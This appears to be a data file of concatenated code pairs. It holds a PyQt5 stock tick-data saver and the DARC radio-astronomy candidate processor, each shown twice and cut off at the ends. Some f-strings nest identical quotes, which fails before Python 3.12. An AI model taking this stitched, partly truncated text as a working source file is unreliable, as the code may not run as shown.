if msg == '시스템 명령 실행 알림 - 시스템 종료':
sys.exit()
def UpdateInfo(self, jcps, hjps):
tickqsize = tick1Q.qsize() + tick2Q.qsize() + tick3Q.qsize() + tick4Q.qsize()
tickqsize += tick5Q.qsize() + tick6Q.qsize() + tick7Q.qsize() + tick8Q.qsize()
label01text = f'Data Received - RTJC {jcps}TICKps | RTHJ {hjps}TICKps, Queue size - tickQ {tickqsize}'
self.info_label.setText(label01text)
class Writer(QtCore.QThread):
data0 = QtCore.pyqtSignal(str)
def __init__(self):
super().__init__()
def run(self):
while True:
data = windowQ.get()
self.data0.emit(data)
class Query:
def __init__(self, windowQQ, workerQQ, queryQQ):
self.windowQ = windowQQ
self.workerQ = workerQQ
self.queryQ = queryQQ
self.Start()
def Start(self):
k = 1
while True:
query = self.queryQ.get()
if len(query) > 0:
j = 1
con = sqlite3.connect(db_tick)
for code in list(query.keys()):
query[code].to_sql(code, con, if_exists='append', chunksize=1000)
self.windowQ.put(f'시스템 명령 실행 알림 - 틱데이터 저장 중...Proc[{k}/8] Dict[{j}/{len(query)}]')
j += 1
con.close()
k += 1
if k == 9:
break
self.workerQ.put('틱데이터 저장 완료')
if __name__ == '__main__':
windowQ, workerQ, queryQ, tick1Q, tick2Q, tick3Q, tick4Q, tick5Q, tick6Q, tick7Q, tick8Q = \
Queue(), Queue(), Queue(), Queue(), Queue(), Queue(), Queue(), Queue(), Queue(), Queue(), Queue()
from worker import Worker
from updater_tick import UpdaterTick
Process(target=Query, args=(windowQ, workerQ, queryQ), daemon=True).start()
Process(target=UpdaterTick, args=(tick1Q, queryQ, workerQ, windowQ), daemon=True).start()
Process(target=UpdaterTick, args=(tick2Q, queryQ, workerQ, windowQ), daemon=True).start()
Process(target=UpdaterTick, args=(tick3Q, queryQ, workerQ, windowQ), daemon=True).start()
Process(target=UpdaterTick, args=(tick4Q, queryQ, workerQ, windowQ), daemon=True).start()
Process(target=UpdaterTick, args=(tick5Q, queryQ, workerQ, windowQ), daemon=True).start()
Process(target=UpdaterTick, args=(tick6Q, queryQ, workerQ, windowQ), daemon=True).start()
Process(target=UpdaterTick, args=(tick7Q, queryQ, workerQ, windowQ), daemon=True).start()
Process(target=UpdaterTick, args=(tick8Q, queryQ, workerQ, windowQ), daemon=True).start()
Process(target=Worker, args=(windowQ, workerQ,
tick1Q, tick2Q, tick3Q, tick4Q, tick5Q, tick6Q, tick7Q, tick8Q), daemon=True).start()
app = QtWidgets.QApplication(sys.argv)
app.setStyle('fusion')
palette = QPalette()
palette.setColor(QPalette.Window, color_bg_bc)
palette.setColor(QPalette.Background, color_bg_bc)
palette.setColor(QPalette.WindowText, color_fg_bc)
palette.setColor(QPalette.Base, color_bg_bc)
palette.setColor(QPalette.AlternateBase, color_bg_dk)
palette.setColor(QPalette.Text, color_fg_bc)
palette.setColor(QPalette.Button, color_bg_bc)
palette.setColor(QPalette.ButtonText, color_fg_bc)
palette.setColor(QPalette.Link, color_fg_bk)
palette.setColor(QPalette.Highlight, color_fg_bk)
palette.setColor(QPalette.HighlightedText, color_bg_bk)
app.setPalette(palette)
window = Window()
window.show()
app.exec_()
| import os
import sys
import sqlite3
import logging
from PyQt5 import QtCore
from PyQt5 import QtWidgets
from PyQt5.QtCore import Qt
from PyQt5.QtGui import QPalette
from multiprocessing import Process, Queue
sys.path.append(os.path.dirname(os.path.abspath(os.path.dirname(__file__))))
from utility.setting import *
from utility.static import now, strf_time
class Window(QtWidgets.QMainWindow):
def __init__(self):
super().__init__()
self.log = logging.getLogger('Window')
self.log.setLevel(logging.INFO)
filehandler = logging.FileHandler(filename=f"{system_path}/Log/T{strf_time('%Y%m%d')}.txt", encoding='utf-8')
self.log.addHandler(filehandler)
def setTextEdit(tab):
textedit = QtWidgets.QTextEdit(tab)
textedit.setReadOnly(True)
textedit.setVerticalScrollBarPolicy(Qt.ScrollBarAlwaysOff)
textedit.setHorizontalScrollBarPolicy(Qt.ScrollBarAlwaysOff)
textedit.setStyleSheet(style_bc_dk)
textedit.setFont(qfont1)
return textedit
self.setFont(qfont1)
self.setWindowFlags(Qt.FramelessWindowHint)
self.setGeometry(0, 0, 692, 292)
self.lg_tabWidget = QtWidgets.QTabWidget(self)
self.lg_tabWidget.setGeometry(5, 5, 682, 282)
self.lg_tab = QtWidgets.QWidget()
self.lg_textEdit = setTextEdit(self.lg_tab)
self.lg_textEdit.setGeometry(5, 5, 668, 242)
self.lg_tabWidget.addTab(self.lg_tab, '틱데이터 저장')
self.info_label = QtWidgets.QLabel(self)
self.info_label.setGeometry(105, 1, 500, 30)
self.writer = Writer()
self.writer.data0.connect(self.UpdateTexedit)
self.writer.start()
def UpdateTexedit(self, msg):
if '부가정보' in msg:
self.UpdateInfo(msg.split(' ')[1], msg.split(' ')[2])
else:
self.lg_textEdit.setTextColor(color_fg_dk)
self.lg_textEdit.append(f'[{now()}] {msg}')
self.log.info(f'[{now()}] {msg}')
if msg == '시스템 명령 실행 알림 - 시스템 종료':
sys.exit()
def UpdateInfo(self, jcps, hjps):
tickqsize = tick1Q.qsize() + tick2Q.qsize() + tick3Q.qsize() + tick4Q.qsize()
tickqsize += tick5Q.qsize() + tick6Q.qsize() + tick7Q.qsize() + tick8Q.qsize()
label01text = f'Data Received - RTJC {jcps}TICKps | RTHJ {hjps}TICKps, Queue size - tickQ {tickqsize}'
self.info_label.setText(label01text)
class Writer(QtCore.QThread):
data0 = QtCore.pyqtSignal(str)
def __init__(self):
super().__init__()
def run(self):
while True:
data = windowQ.get()
self.data0.emit(data)
class Query:
def __init__(self, windowQQ, workerQQ, queryQQ):
self.windowQ = windowQQ
self.workerQ = workerQQ
self.queryQ = queryQQ
self.Start()
def Start(self):
k = 1
while True:
query = self.queryQ.get()
if len(query) > 0:
j = 1
con = sqlite3.connect(db_tick)
for code in list(query.keys()):
query[code].to_sql(code, con, if_exists='append', chunksize=1000)
self.windowQ.put(f'시스템 명령 실행 알림 - 틱데이터 저장 중...Proc[{k}/8] Dict[{j}/{len(query)}]')
j += 1
con.close()
k += 1
if k == 9:
break
self.workerQ.put('틱데이터 저장 완료')
if __name__ == '__main__':
windowQ, workerQ, queryQ, tick1Q, tick2Q, tick3Q, tick4Q, tick5Q, tick6Q, tick7Q, tick8Q = \
Queue(), Queue(), Queue(), Queue(), Queue(), Queue(), Queue(), Queue(), Queue(), Queue(), Queue()
from worker import Worker
from updater_tick import UpdaterTick
Process(target=Query, args=(windowQ, workerQ, queryQ), daemon=True).start()
Process(target=UpdaterTick, args=(tick1Q, queryQ, workerQ, windowQ), daemon=True).start()
Process(target=UpdaterTick, args=(tick2Q, queryQ, workerQ, windowQ), daemon=True).start()
Process(target=UpdaterTick, args=(tick3Q, queryQ, workerQ, windowQ), daemon=True).start()
Process(target=UpdaterTick, args=(tick4Q, queryQ, workerQ, windowQ), daemon=True).start()
Process(target=UpdaterTick, args=(tick5Q, queryQ, workerQ, windowQ), daemon=True).start()
Process(target=UpdaterTick, args=(tick6Q, queryQ, workerQ, windowQ), daemon=True).start()
Process(target=UpdaterTick, args=(tick7Q, queryQ, workerQ, windowQ), daemon=True).start()
Process(target=UpdaterTick, args=(tick8Q, queryQ, workerQ, windowQ), daemon=True).start()
Process(target=Worker, args=(windowQ, workerQ,
tick1Q, tick2Q, tick3Q, tick4Q, tick5Q, tick6Q, tick7Q, tick8Q), daemon=True).start()
app = QtWidgets.QApplication(sys.argv)
app.setStyle('fusion')
palette = QPalette()
palette.setColor(QPalette.Window, color_bg_bc)
palette.setColor(QPalette.Background, color_bg_bc)
palette.setColor(QPalette.WindowText, color_fg_bc)
palette.setColor(QPalette.Base, color_bg_bc)
palette.setColor(QPalette.AlternateBase, color_bg_dk)
palette.setColor(QPalette.Text, color_fg_bc)
palette.setColor(QPalette.Button, color_bg_bc)
palette.setColor(QPalette.ButtonText, color_fg_bc)
palette.setColor(QPalette.Link, color_fg_bk)
palette.setColor(QPalette.Highlight, color_fg_bk)
palette.setColor(QPalette.HighlightedText, color_bg_bk)
app.setPalette(palette)
window = Window()
window.show()
app.exec_()
|
#!/usr/bin/env python3
#
# real-time data processor
import os
import ast
from textwrap import dedent
import socket
import threading
import multiprocessing as mp
from queue import Empty
from time import sleep
from astropy.time import Time, TimeDelta
import numpy as np
import yaml
import h5py
from darc import DARCBase
from darc.processor_tools import Clustering, Extractor, Classifier, Visualizer
from darc import util
from darc.logger import get_queue_logger, get_queue_logger_listener
from darc.definitions import TIME_UNIT
class ProcessorException(Exception):
pass
class ProcessorManager(DARCBase):
"""
Control logic for running several Processor instances, one per observation
"""
def __init__(self, *args, **kwargs):
"""
"""
# init DARCBase without logger, as we need a non-default logger
super(ProcessorManager, self).__init__(*args, no_logger=True, **kwargs)
# initialize queue logger listener
self.log_queue = mp.Queue()
self.log_listener = get_queue_logger_listener(self.log_queue, self.log_file)
self.log_listener.start()
# create queue logger
self.logger = get_queue_logger(self.module_name, self.log_queue)
self.observations = {}
self.observation_end_times = {}
self.observation_queues = {}
self.current_observation_queue = None
self.scavenger = None
self.status_generator = None
self.logger.info("{} initialized".format(self.log_name))
def run(self):
"""
Main loop. Create thread scavenger, then run parent class run method
"""
# create a thread scavenger
self.scavenger = threading.Thread(target=self.thread_scavenger, name='scavenger')
self.scavenger.start()
# create a status generator for the processing website
self.status_generator = threading.Thread(target=self.processing_status_generator, name='status_generator')
self.status_generator.start()
super(ProcessorManager, self).run()
def thread_scavenger(self):
"""
Remove any finished threads at regular intervals
"""
self.logger.info("Starting thread scavenger")
while not self.stop_event.is_set():
for taskid, thread in self.observations.copy().items():
if not thread.is_alive():
# if the thread is dead, remove it from the list
self.logger.info(f"Scavenging thread of taskid {taskid}")
self.observations.pop(taskid)
self.observation_queues.pop(taskid)
self.observation_end_times.pop(taskid)
self.stop_event.wait(self.scavenger_interval)
def processing_status_generator(self):
"""
At regular interval, create status file for processing website
"""
self.logger.info("Starting processing status file generator")
# create the output directory if it does not exist
util.makedirs(self.processing_status_path)
hostname = socket.gethostname()
out_file = os.path.join(self.processing_status_path, f"{hostname}.js")
while not self.stop_event.is_set():
# get list of taskids that are being processed
taskids = sorted(self.observations.keys())
times = []
if not taskids:
# nothing is running
status = "idle"
else:
status = "running"
now = Time.now()
for taskid in taskids:
# check elapsed time
processing_time = now - self.observation_end_times[taskid]
# if negative, the observation is still running
if processing_time.sec < 0:
times.append('observing')
else:
# format as hh:mm:ss
full_min, seconds = divmod(processing_time.sec, 60)
hours, minutes = divmod(full_min, 60)
times.append(f"{hours:02.0f}h{minutes:02.0f}m{seconds:02.0f}s")
content = dedent(f"""
var {hostname} = {{
"node_name": "{hostname}",
"node_status": "{status}",
"node_process": "{','.join(taskids)}",
"time": "{','.join(times)}"
}};
""")
with open(out_file, 'w') as f:
f.write(content)
self.stop_event.wait(self.processing_status_generator_interval)
# upon exit, create file to indicate node is offline
content = dedent(f"""
var {hostname} = {{
"node_name": "{hostname}",
"node_status": "offline",
"node_process": "",
"time": ""
}};
""")
with open(out_file, 'w') as f:
f.write(content)
def stop(self, abort=False):
"""
Stop this service
:param bool abort: Ignored; a stop of the manager always equals an abort
"""
self.logger.info("Stopping {}".format(self.log_name))
# Abort any existing observations
# loop over dictionary items. Use copy to avoid changing dict in loop
for taskid, obs in self.observations.copy().items():
if obs.is_alive():
self.logger.info(f"Aborting observation with taskid {taskid}")
self.observation_queues[taskid].put('abort')
obs.join()
# stop the log listener
self.log_listener.stop()
# stop the manager
self.stop_event.set()
# wait for subprocesses to exit
if self.scavenger is not None:
self.scavenger.join()
if self.status_generator is not None:
self.status_generator.join()
def start_observation(self, obs_config, reload=True):
"""
Initialize a Processor and call its start_observation
"""
if reload:
self.load_config()
# add parset to obs config
obs_config['parset'] = self._load_parset(obs_config)
# get task ID
taskid = obs_config['parset']['task.taskID']
self.logger.info(f"Starting observation with task ID {taskid}")
# refuse to do anything if an observation with this task ID already exists
if taskid in self.observations.keys():
self.logger.error(f"Failed to start observation: task ID {taskid} already exists")
return
# initialize a Processor for this observation
queue = mp.Queue()
proc = Processor(source_queue=queue, log_queue=self.log_queue, config_file=self.config_file)
proc.name = taskid
proc.start()
# start the observation and store thread
queue.put({'command': 'start_observation', 'obs_config': obs_config, 'reload': reload})
self.observations[taskid] = proc
self.observation_queues[taskid] = queue
# observation end time is used for showing elapsed processing time on web page
# if end time is in the past, we are reprocessing and show elapsed time since start of reprocessing
# instead
obs_end_time = Time(obs_config['startpacket'] / TIME_UNIT, format='unix') + \
TimeDelta(obs_config['duration'], format='sec')
now = Time.now()
# if now is later than obs end time, use now as fake obs end time to show correct elapsed processing
# time
obs_end_time = max(obs_end_time, now)
self.observation_end_times[taskid] = obs_end_time
self.current_observation_queue = queue
return
def stop_observation(self, obs_config):
"""
Stop observation with task ID as given in parset
:param dict obs_config: Observation config
"""
# load the parset
parset = self._load_parset(obs_config)
# get task ID
taskid = parset['task.taskID']
# check if an observation with this task ID exists
if taskid not in self.observations.keys():
self.logger.error(f"Failed to stop observation: no such task ID {taskid}")
return
# signal the processor of this observation to stop the observation
# when processing is finished, this also stops the Process
self.observation_queues[taskid].put({'command': 'stop_observation'})
def process_command(self, command):
"""
Forward any data from the input queue to the running observation
"""
if command['command'] == 'stop':
self.stop()
elif command['command'] == 'get_attr':
self.get_attribute(command)
elif self.current_observation_queue is not None:
self.current_observation_queue.put(command)
else:
self.logger.error("Data received but no observation is running - ignoring")
return
def _load_parset(self, obs_config):
"""
Load the observation parset
:param dict obs_config: Observation config
:return: parset as dict
"""
try:
# encoded parset is already in config on master node
# decode the parset
raw_parset = util.decode_parset(obs_config['parset'])
# convert to dict and store
parset = util.parse_parset(raw_parset)
except KeyError:
self.logger.info(f"{obs_config["datetimesource"]}: Observation parset not found in input config, "
f"looking for master parset")
# Load the parset from the master parset file
master_config_file = os.path.join(obs_config['master_dir'], 'parset', 'darc_master.parset')
try:
# Read raw config
with open(master_config_file) as f:
master_config = f.read().strip()
# Convert to dict
master_config = util.parse_parset(master_config)
# extract obs parset and decode
raw_parset = util.decode_parset(master_config['parset'])
parset = util.parse_parset(raw_parset)
except Exception as e:
self.logger.warning(
"Failed to load parset from master config file {}, "
"setting parset to None: {}".format(master_config_file, e))
parset = None
return parset
class Processor(DARCBase):
"""
Real-time processing of candidates
#. Clustering + thresholding
#. Extract data from filterbank
#. Run classifier
#. Visualize candidates
After observation finishes, results are gathered in a central location to be picked up by the master node
"""
def __init__(self, log_queue, *args, **kwargs):
"""
:param Queue log_queue: Queue to use for logging
"""
# init DARCBase without logger, as we need a non-default logger
super(Processor, self).__init__(*args, no_logger=True, **kwargs)
# create queue logger
self.logger = get_queue_logger(self.module_name, log_queue)
self.log_queue = log_queue
self.observation_running = False
self.threads = {}
self.amber_triggers = []
self.hdr_mapping = {}
self.obs_config = None
self.output_dir = None
self.reprocessing = False
# create queues
self.clustering_queue = mp.Queue()
self.extractor_queue = mp.Queue()
self.classifier_queue = mp.Queue()
self.all_queues = (self.clustering_queue, self.extractor_queue, self.classifier_queue)
# lock for accessing AMBER trigger list and obs stats
self.amber_lock = threading.Lock()
self.obs_stats_lock = threading.Lock()
# initalize observation statistics.
self.obs_stats = {'ncand_raw': 0,
'ncand_post_clustering': 0,
'ncand_post_thresholds': 0,
'ncand_post_classifier': 0}
self.ncluster = mp.Value('i', 0)
self.ncand_above_threshold = mp.Value('i', 0)
self.candidates_to_visualize = []
self.classifier_parent_conn, self.classifier_child_conn = mp.Pipe()
self.obs_name = ''
self.logger.info("{} initialized".format(self.log_name))
def process_command(self, command):
"""
Process command received from queue
:param dict command: Command to process
"""
if command['command'] == 'get_attr':
self.get_attribute(command)
elif command['command'] == 'trigger':
if not self.observation_running:
self.logger.error("Trigger(s) received but no observation is running - ignoring")
else:
with self.amber_lock:
self.amber_triggers.append(command['trigger'])
else:
self.logger.error("Unknown command received: {}".format(command['command']))
def stop(self, abort=None):
"""
Stop this service
:param bool abort: Ignored, a stop of the service always equals abort
"""
self.logger.info(f"{self.obs_name}Processor received stop")
# abort running observation (this stops the processor too)
self.stop_observation(abort=True)
def start_observation(self, obs_config, reload=True):
"""
Parse obs config and start listening for amber triggers on queue
:param dict obs_config: Observation configuration
:param bool reload: reload service settings (default: True)
"""
# reload config
if reload:
self.load_config()
# store obs name for logging
self.obs_name = f"{obs_config["parset"]["task.taskID"]} - {obs_config["datetimesource"]}: "
# clean any old triggers
self.amber_triggers = []
# set config
self.obs_config = obs_config
# add observation-specific path to result_dir
self.central_result_dir = os.path.join(self.result_dir, obs_config['date'], obs_config['datetimesource'])
# create output dir
output_dir = os.path.join('{output_dir}'.format(**obs_config), self.output_subdir)
for path in (output_dir, self.central_result_dir):
try:
util.makedirs(path)
except Exception as e:
self.logger.error(f"{self.obs_name}Failed to create directory {path}: {e}")
raise ProcessorException(f"Failed to create directory {path}: {e}")
self.output_dir = output_dir
self.observation_running = True # this must be set before starting the processing thread
# start processing
thread = threading.Thread(target=self._read_and_process_data, name='processing')
self.threads['processing'] = thread
# start clustering
thread = Clustering(obs_config, output_dir, self.log_queue, self.clustering_queue, self.extractor_queue,
self.ncluster, self.config_file, self.obs_name)
thread.name = 'clustering'
self.threads['clustering'] = thread
# start extractor(s)
for i in range(self.num_extractor):
thread = Extractor(obs_config, output_dir, self.log_queue, self.extractor_queue, self.classifier_queue,
self.ncand_above_threshold, self.config_file, self.obs_name)
thread.name = f'extractor_{i}'
self.threads[f'extractor_{i}'] = thread
# start classifier
thread = Classifier(self.log_queue, self.classifier_queue, self.classifier_child_conn, self.config_file,
self.obs_name)
thread.name = 'classifier'
self.threads['classifier'] = thread
# start all threads/processes
for thread in self.threads.values():
thread.start()
# If this is reprocessing instead of a new observation, read the AMBER triggers
# Reprocessing is assumed if the end time is in the past
utc_start = Time(obs_config['startpacket'] / TIME_UNIT, format='unix')
utc_end = utc_start + TimeDelta(obs_config['duration'], format='sec')
if utc_end < Time.now():
self.logger.info(f"{self.obs_name}End time is in the past, reading AMBER triggers for reprocessing")
thread = threading.Thread(target=self._read_amber_triggers, name='read_amber_triggers')
thread.daemon = True
thread.start()
self.reprocessing = True
else:
self.reprocessing = False
self.logger.info(f"{self.obs_name}Observation started")
def stop_observation(self, abort=False):
"""
Stop observation
:param bool abort: Whether or not to abort the observation
"""
if (not self.observation_running) and (not abort):
# nothing to do
return
if abort:
self.logger.info(f"{self.obs_name}Aborting observation")
else:
self.logger.info(f"{self.obs_name}Finishing observation")
# wait for a short time in case some last AMBER triggers are still coming in
sleep(self.stop_delay)
# set running to false
self.observation_running = False
# if abort, clear all queues and terminate processing
if abort:
for queue in self.all_queues:
util.clear_queue(queue)
# processing is a thread, cannot terminate but it should stop very quickly when running is set to False
self.threads['processing'].join()
self.threads['clustering'].terminate()
for i in range(self.num_extractor):
self.threads[f'extractor_{i}'].terminate()
self.threads['classifier'].terminate()
self.logger.info(f"{self.obs_name}Processor aborted")
# A stop observation should also stop this processor, as there is only one per observation
self.stop_event.set()
return
# no abort, finish processing in thread (because stop_observation must be non-blocking)
thread = threading.Thread(target=self._finish_processing)
thread.daemon = True
thread.start()
def _get_timeout(self):
"""
Get procesing time limit
:return: time limit in seconds (float) or None if no limit
"""
# set time limit if processing time limit is enabled
if self.processing_time_limit > 0:
# get time when processing should be finished
if self.reprocessing:
# reprocessing: count time limit from now
timeout = self.processing_time_limit
else:
# normal observation: count time limit from observation end
time_limit = Time(self.obs_config['startpacket'] / TIME_UNIT, format='unix') + \
TimeDelta(self.obs_config['duration'], format='sec') + \
TimeDelta(self.processing_time_limit, format='sec')
# get timeout from now, in seconds. Set to zero if negative (i.e. limit already passed)
timeout = max((time_limit - Time.now()).sec, 0)
else:
# no time limit
timeout = None
return timeout
def _join_with_timeout(self, name, timeout):
"""
Signal a process to stop. Terminate if timeout is reached
:param str name: name of Process in self.threads dict to join
:param float timeout: timeout in seconds (None for no time limit)
"""
# get process to stop
proc = self.threads[name]
# join with timeout
proc.join(timeout=timeout)
sleep(.1)
# if still alive, timeout has passed, so terminate
if proc.is_alive():
self.logger.warning(f"{self.obs_name}Procesing time limit reached, terminating {name} process")
proc.terminate()
def _finish_processing(self):
"""
Wait for real-time processing to finish and visualize results
"""
# clear processing thread
self.threads['processing'].join()
# get processing time limit
t_proc_start = Time.now()
timeout = self._get_timeout()
# signal clustering to stop
self.clustering_queue.put('stop')
self._join_with_timeout('clustering', timeout)
# reorder any remaining candidates so that highest S/N are processed first
self._reorder_clusters()
# signal extractor(s) to stop
for i in range(self.num_extractor):
# only put stop message if extractor is still running, to avoid commands going back and forth
# to other extractors
if not self.threads[f'extractor_{i}'].is_alive():
self.logger.warning(f"{self.obs_name}extractor_{i} is already stopped, not sending stop message")
else:
self.extractor_queue.put(f'stop_extractor_{i}')
# update timeout to account for already passed time in earlier join_with_timeout commands
timeout -= (Time.now() - t_proc_start).sec
timeout = max(timeout, 0)
self._join_with_timeout(f'extractor_{i}', timeout)
# signal classifier to stop. This should run even if timeout is reached, so do normal join
self.classifier_queue.put('stop')
# read the output of the classifier
self.candidates_to_visualize = self.classifier_parent_conn.recv()
self.threads['classifier'].join()
# store obs statistics
# if no AMBER header was received, something failed and there are no candidates
# set all values to -1 to indicate this
if not self.hdr_mapping:
for key in self.obs_stats.keys():
self.obs_stats[key] = -1
else:
# already have number of raw candidates
# store number of post-clustering candidates
self.obs_stats['ncand_post_clustering'] = self.ncluster.value
# store number of candidates above local S/N threshold
self.obs_stats['ncand_post_thresholds'] = self.ncand_above_threshold.value
# store number of candidates post-classifier
self.obs_stats['ncand_post_classifier'] = len(self.candidates_to_visualize)
# Store the statistics and start the visualization
if len(self.candidates_to_visualize) > 0:
Visualizer(self.output_dir, self.central_result_dir, self.log_queue, self.obs_config,
self.candidates_to_visualize, self.config_file, self.obs_name)
else:
self.logger.info(f"{self.obs_name}No post-classifier candidates found, skipping visualization")
# Store statistics after visualization, as master will start combining results once all stats are present
self._store_obs_stats()
self.logger.info(f"{self.obs_name} Observation finished")
# stop this processor
self.stop_event.set()
def _read_and_process_data(self):
"""
Process incoming AMBER triggers
"""
# main loop
while self.observation_running and not self.stop_event.is_set():
if self.amber_triggers:
# Copy the triggers so class-wide list can receive new triggers without those getting lost
with self.amber_lock:
triggers = self.amber_triggers
self.amber_triggers = []
# update number of raw candidates
with self.obs_stats_lock:
self.obs_stats['ncand_raw'] += len(triggers)
# check for header (always, because it is received once for every amber instance)
if not self.hdr_mapping:
for trigger in triggers:
if trigger.startswith('#'):
# remove header from trigger count
with self.obs_stats_lock:
self.obs_stats['ncand_raw'] -= 1
# read header, remove comment symbol
header = trigger.split()[1:]
# Check if all required params are present and create mapping to col index
keys = ['beam_id', 'integration_step', 'time', 'DM', 'SNR']
for key in keys:
try:
self.hdr_mapping[key] = header.index(key)
except ValueError:
self.logger.error(f"{self.obs_name}reprocessing failed: key missing "
f"from clusters header: {key}")
self.hdr_mapping = {}
return
# header should be present now
if not self.hdr_mapping:
self.logger.error(f"{self.obs_name}reprocessing first clusters received but header not found")
continue
# remove headers from triggers (i.e. any trigger starting with #)
triggers = [trigger for trigger in triggers if not trigger.startswith('#')]
# triggers is empty if only header was received
if not triggers:
self.logger.info(f"{self.obs_name}reprocessing only header received - Canceling processing")
continue
# split strings and convert to numpy array
try:
triggers = np.array(list(map(lambda val: val.split(), triggers)), dtype=float)
except Exception as e:
self.logger.error(f"{self.obs_name}reprocessing failed to process triggers: {e}")
continue
# pick columns to feed to clustering algorithm
triggers_for_clustering = triggers[:, (self.hdr_mapping['DM'], self.hdr_mapping['SNR'],
self.hdr_mapping['time'], self.hdr_mapping['integration_step'],
self.hdr_mapping['beam_id'])]
# put triggers on clustering queue
self.clustering_queue.put(triggers_for_clustering)
self.stop_event.wait(self.interval)
def _reorder_clusters(self):
"""
Reorder clusters ready for data extraction to highest-S/N first. This is used such that bright candidates
are prioritized when there is a processing time limit
"""
# get all clusters from the extractor queue
clusters = []
try:
while True:
clusters.append(self.extractor_queue.get_nowait())
except Empty:
pass
# sort by S/N
# parameters in each cluster are dm, snr, toa, downsamp, sb
snrs = [cluster[1] for cluster in clusters]
order = np.argsort(snrs)[::-1]
# put each cluster back on the queue, highest S/N first
for ind in order:
cluster = clusters[ind]
self.extractor_queue.put(cluster)
def _store_obs_stats(self):
"""
Store observation statistics to central result directory
"""
# overview statistics
info_file = os.path.join(self.central_result_dir, f'CB{self.obs_config['beam']:02d}_summary.yaml')
self.logger.debug(f"{self.obs_name}Storing observation statistics to {info_file}")
with open(info_file, 'w') as f:
yaml.dump(self.obs_stats, f, default_flow_style=False)
# list of triggers
trigger_file = os.path.join(self.central_result_dir, f'CB{self.obs_config['beam']:02d}_triggers.txt')
self.logger.debug(f"{self.obs_name}Storing trigger metadata to {trigger_file}")
with open(trigger_file, 'w') as f:
f.write('#cb snr dm time downsamp sb p\n')
for fname in self.candidates_to_visualize:
with h5py.File(fname, 'r') as h5:
line = "{beam:02d} {snr:.2f} {dm:.2f} {toa:.4f} " \
"{downsamp:.0f} {sb:.0f} " \
"{prob_freqtime:.2f}\n".format(beam=self.obs_config['beam'], **h5.attrs)
f.write(line)
def _read_amber_triggers(self):
"""
Read AMBER triggers for reprocessing of an observation.
Based on AMBERListener
"""
# read AMBER settings
amber_conf_file = self.obs_config['amber_config']
with open(amber_conf_file, 'r') as f:
raw_amber_conf = f.read()
amber_conf = util.parse_parset(raw_amber_conf)
# get directory of amber trigger files
amber_dir = self.obs_config['amber_dir']
# get CB index and number of AMBER processes
beam = self.obs_config['beam']
num_amber = len(ast.literal_eval(amber_conf['opencl_device']))
self.logger.info(f"{self.obs_name}reprocessing reading {num_amber} AMBER files")
for step in range(1, num_amber + 1):
trigger_file = os.path.join(amber_dir, "CB{:02d}_step{}.trigger".format(beam, step))
# check if the file exists
if not os.path.isfile(trigger_file):
self.logger.error(f"{self.obs_name}reprocessing AMBER file does not exist: {trigger_file}")
continue
# read the file and put each line on the processor input queue
with open(trigger_file, 'r') as f:
lines = f.readlines()
for line in lines:
self.source_queue.put({'command': 'trigger', 'trigger': line.strip()})
# sleep for twice the processing interval to ensure triggers were picked up
self.stop_event.wait(2 * self.interval)
# reprocessing means no stop observation will be sent, do this manually
self.logger.info(f"{self.obs_name}sending manual stop_observation command for reprocessing")
self.source_queue.put({'command': 'stop_observation'})
| #!/usr/bin/env python3
#
# real-time data processor
import os
import ast
from textwrap import dedent
import socket
import threading
import multiprocessing as mp
from queue import Empty
from time import sleep
from astropy.time import Time, TimeDelta
import numpy as np
import yaml
import h5py
from darc import DARCBase
from darc.processor_tools import Clustering, Extractor, Classifier, Visualizer
from darc import util
from darc.logger import get_queue_logger, get_queue_logger_listener
from darc.definitions import TIME_UNIT
class ProcessorException(Exception):
pass
class ProcessorManager(DARCBase):
"""
Control logic for running several Processor instances, one per observation
"""
def __init__(self, *args, **kwargs):
"""
"""
# init DARCBase without logger, as we need a non-default logger
super(ProcessorManager, self).__init__(*args, no_logger=True, **kwargs)
# initialize queue logger listener
self.log_queue = mp.Queue()
self.log_listener = get_queue_logger_listener(self.log_queue, self.log_file)
self.log_listener.start()
# create queue logger
self.logger = get_queue_logger(self.module_name, self.log_queue)
self.observations = {}
self.observation_end_times = {}
self.observation_queues = {}
self.current_observation_queue = None
self.scavenger = None
self.status_generator = None
self.logger.info("{} initialized".format(self.log_name))
def run(self):
"""
Main loop. Create thread scavenger, then run parent class run method
"""
# create a thread scavenger
self.scavenger = threading.Thread(target=self.thread_scavenger, name='scavenger')
self.scavenger.start()
# create a status generator for the processing website
self.status_generator = threading.Thread(target=self.processing_status_generator, name='status_generator')
self.status_generator.start()
super(ProcessorManager, self).run()
def thread_scavenger(self):
"""
Remove any finished threads at regular intervals
"""
self.logger.info("Starting thread scavenger")
while not self.stop_event.is_set():
for taskid, thread in self.observations.copy().items():
if not thread.is_alive():
# if the thread is dead, remove it from the list
self.logger.info(f"Scavenging thread of taskid {taskid}")
self.observations.pop(taskid)
self.observation_queues.pop(taskid)
self.observation_end_times.pop(taskid)
self.stop_event.wait(self.scavenger_interval)
def processing_status_generator(self):
"""
At regular interval, create status file for processing website
"""
self.logger.info("Starting processing status file generator")
# create the output directory if it does not exist
util.makedirs(self.processing_status_path)
hostname = socket.gethostname()
out_file = os.path.join(self.processing_status_path, f"{hostname}.js")
while not self.stop_event.is_set():
# get list of taskids that are being processed
taskids = sorted(self.observations.keys())
times = []
if not taskids:
# nothing is running
status = "idle"
else:
status = "running"
now = Time.now()
for taskid in taskids:
# check elapsed time
processing_time = now - self.observation_end_times[taskid]
# if negative, the observation is still running
if processing_time.sec < 0:
times.append('observing')
else:
# format as hh:mm:ss
full_min, seconds = divmod(processing_time.sec, 60)
hours, minutes = divmod(full_min, 60)
times.append(f"{hours:02.0f}h{minutes:02.0f}m{seconds:02.0f}s")
content = dedent(f"""
var {hostname} = {{
"node_name": "{hostname}",
"node_status": "{status}",
"node_process": "{','.join(taskids)}",
"time": "{','.join(times)}"
}};
""")
with open(out_file, 'w') as f:
f.write(content)
self.stop_event.wait(self.processing_status_generator_interval)
# upon exit, create file to indicate node is offline
content = dedent(f"""
var {hostname} = {{
"node_name": "{hostname}",
"node_status": "offline",
"node_process": "",
"time": ""
}};
""")
with open(out_file, 'w') as f:
f.write(content)
def stop(self, abort=False):
"""
Stop this service
:param bool abort: Ignored; a stop of the manager always equals an abort
"""
self.logger.info("Stopping {}".format(self.log_name))
# Abort any existing observations
# loop over dictionary items. Use copy to avoid changing dict in loop
for taskid, obs in self.observations.copy().items():
if obs.is_alive():
self.logger.info(f"Aborting observation with taskid {taskid}")
self.observation_queues[taskid].put('abort')
obs.join()
# stop the log listener
self.log_listener.stop()
# stop the manager
self.stop_event.set()
# wait for subprocesses to exit
if self.scavenger is not None:
